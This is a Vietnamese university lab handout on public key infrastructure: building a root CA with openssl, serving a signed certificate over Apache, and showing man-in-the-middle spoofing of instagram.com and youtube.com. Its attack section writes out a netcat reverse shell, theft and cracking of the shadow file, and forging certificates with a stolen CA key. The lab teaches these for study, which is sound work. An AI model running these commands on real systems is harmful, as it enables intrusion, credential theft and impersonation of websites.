1. **Nội dung và hướng dẫn thực hiện bài lab**
   1. **Mục đích**

Giúp sinh viên hiểu được cơ sở hạ tầng khóa công khai PKI , cách sử dụng PKI để bảo vệ web và tránh cuộc tấn công MITM . ngoài ra sinh viên có thể hiểu thêm được chuyện gì sẽ xảy ra nếu trung tâm chứng chỉ gốc được tin cậy bị phá vỡ.

* 1. **Yêu cầu đối với sinh viên**

Có kiến thức cơ bản về hệ điều hành Linux,có kiến thức cơ bản về hạ tầng khóa công khai PKI

* 1. **Nội dung thực hành**
* Tải bài lab:

*imodule https://github.com/congtoan123/labtainer-ptit-pki/raw/main/imodule.tar*

* Khởi động bài lab:

Vào terminal, gõ :

*labtainer -r ptit-pki-lab*

*(chú ý: sinh viên sử dụng mã sinh viên của mình để nhập thông tin email người thực hiện bài lab khi có yêu cầu, để sử dụng khi chấm điểm)*

Sau khi khởi động xong hai terminal ảo sẽ xuất hiện, một cái là đại diện cho máy làm việc đặt tên là kpi\_lab, một máy là attacker.

* Tạo chứng chỉ gốc CA:
* Trên máy **server**:

Tạo thư mục cha PKI và các thư mục con demoCA

Trong demoCA gồm cert,crl,newcerts,index.txt và serial lưu giá trị là 1000.

*mkdir PKI*

*cd PKI*

*mkdir demoCA*

*cd demoCA*

*mkdir certs crl newcerts*

*touch index.txt*

*echo 1000>serial*

* Copy file cấu hình từ thư mục /usr/lib/ssl/openssl.cnf vào thư mục PKI:

*cp “usr /lib/ssl/openssl.cnf” “/home/ubuntu/PKI”*

* Tạo chứng chỉ gốc CA và thông tin chữ kí và khóa công khai, khóa bí mật:

*openssl req -x509 -newkey rsa:4096 -sha256 -days 3650 -keyout ca.key -out ca.crt -subj "/C=VN/ST=HN/L=HD/O=PTIT/OU=ATTT/CN=<MSV>" -passout pass:< your password>*

* Kiểm tra thông tin chứng chỉ gốc và khóa bí mật:

*openssl x509 -in ca.crt -text -noout*

*openssl rsa -in ca.key -text -noout*

* Tiếp theo ta sẽ tiến hành tạo chứng chỉ số cho máy chỉ PKILab.com
* Tạo yêu cầu chứng chỉ (CSR) và cặp khóa cho máy chủ PKILab.com:

*openssl req -newkey rsa:2048 -sha256 -keyout server.key -out server.csr -subj "/C=VN/ST=HN/L=HD/O=PTIT/OU=ATTT/CN=PKILab.com" -passout pass:<your password>*

* Kiểm tra lại thông tin:

*openssl req -in server.csr -text -noout*

*openssl rsa -in server.key -text -noout*

* Kí bằng chứng chỉ và khóa của CA:

*openssl ca -config openssl.cnf -policy policy\_anything -md sha256 -days 3650 -in server.csr -out server.crt -batch -cert ca.crt -keyfile ca.key*

* Triển khai chứng chỉ trong 1 máy chủ web bằng cách cấu hình DNS map tên máy chủ tới localhost trong /etc/hosts
* Copy khóa và chèn thêm chữ kí

*cp server.key server.pem*

*cat server.crt >> server.pem*

* Thiết lập máy chủ SSL/TLS đơn giản bằng lệnh

*openssl s\_server -cert server.pem -www*

* Thiết lập quản lí chứng chỉ trên firefox để có thể vào được web với giao thức https bằng chứng chỉ hợp lệ.
* Tiến hành sửa 1 bit khóa bí mật và kiểm tra :Sửa khóa bí mật trong file *server.pem*
* Thiết lập máy chủ SSL/TLS đơn giản và quan sát :

*openssl s\_server -cert server.pem -www*

* Chỉnh sửa lại khóa bí mật trong file server.pem về cho đúng với ban đầu
* Triển khai chứng chỉ trong trang web HTTPS dựa trên Apache

Tạo thư mục pki trong */var/www* chứa file *index.html*

Tạo thư mục ssl trong */etc/apache2*

Copy khóa và chứng chỉ server vào */etc/apache2/ssl*

* Thêm mục Virtualhost vào tệp 000-default.conf với nội dung :

*<VirtualHost \*:80>*

*ServerName PKILAB.com*

*DocumentRoot /var/www/pki*

*DirectoryIndex index.html*

*</VirtualHost>*

* Thêm mục Virtualhost vào tệp default-ssl.conf trong cùng một thư mục.

*<VirtualHost \*:443>*

*ServerName PKILAB.com*

*DocumentRoot /var/www/pki*

*DirectoryIndex index.html*

*SSLEngine On*

*SSLCertificateFile /etc/apache2/ssl/ cert.pem*

*SSLCertificateKeyFile /etc/apache2/ssl/key.pem*

*</VirtualHost>*

* Enable SSL module và kích hoạt trang web chúng ta vừa thêm vào sau đó khởi động lại dịch vụ apache và nhậm mật khẩu đã đặt trước đó :

*sudo a2enmod ssl*

*sudo a2ensite default-ssl*

*sudo systemctl restart apache2*

* Truy cập https://PKILab.com trên firefox và quan sát.
* Khởi chạy cuộc tấn công MITM:

Chỉnh sửa serverName trong default-ssl.conf thành instagram.com

Chỉnh sửa /etc/hosts : localhost trỏ đến instagram.com

Khởi động lại dịch vụ apache: truy cập <https://instagram.com> bằng firefox và quan sát chuyện gì sẽ xảy ra rồi sau đó thử truy cập <http://instagram.com>

* Tiếp theo ta sẽ tiến hành tấn công MITM với CA bị khai thác và xem chuyện gì sẽ xảy ra.
* Trên máy **attacker** khởi động netcat lắng nghe kết nối

*nc -lnvp <port>*

* Trên máy **server** kết nối đến shell

*nc <ip> <port> -e /bin/bash*

* Lấy file shadow về máy và dùng john để crack
* Ssh vào chiếm quyền kiểm soát máy server
* Phát động cuộc tấn công MITM với CA bị tấn công.

Tạo một yêu cầu kí mới cho host : youtube.com

Kí bằng chữ kí và khóa CA gốc :

Copy chữ kí vào thư mục /etc/apache2/ssl

Ánh xạ localhost đên youtube.com sau đó khởi động lại apache2 và truy cập <https://youtube.com> trên firefox và quan sát.

* Kết thúc bài lab:
* Kiểm tra checkwork:

*checkwork*

* Trên terminal đầu tiên sử dụng câu lệnh sau để kết thục bài lab:

*Stoplab*

* Khi bài lab kết thúc, một tệp zip lưu kết quả được tạp và lưu vào một vị trí hiển thị dưới stoplab
* Khởi động lại bài lab:

*Labtainer -r ptit-pki-lab*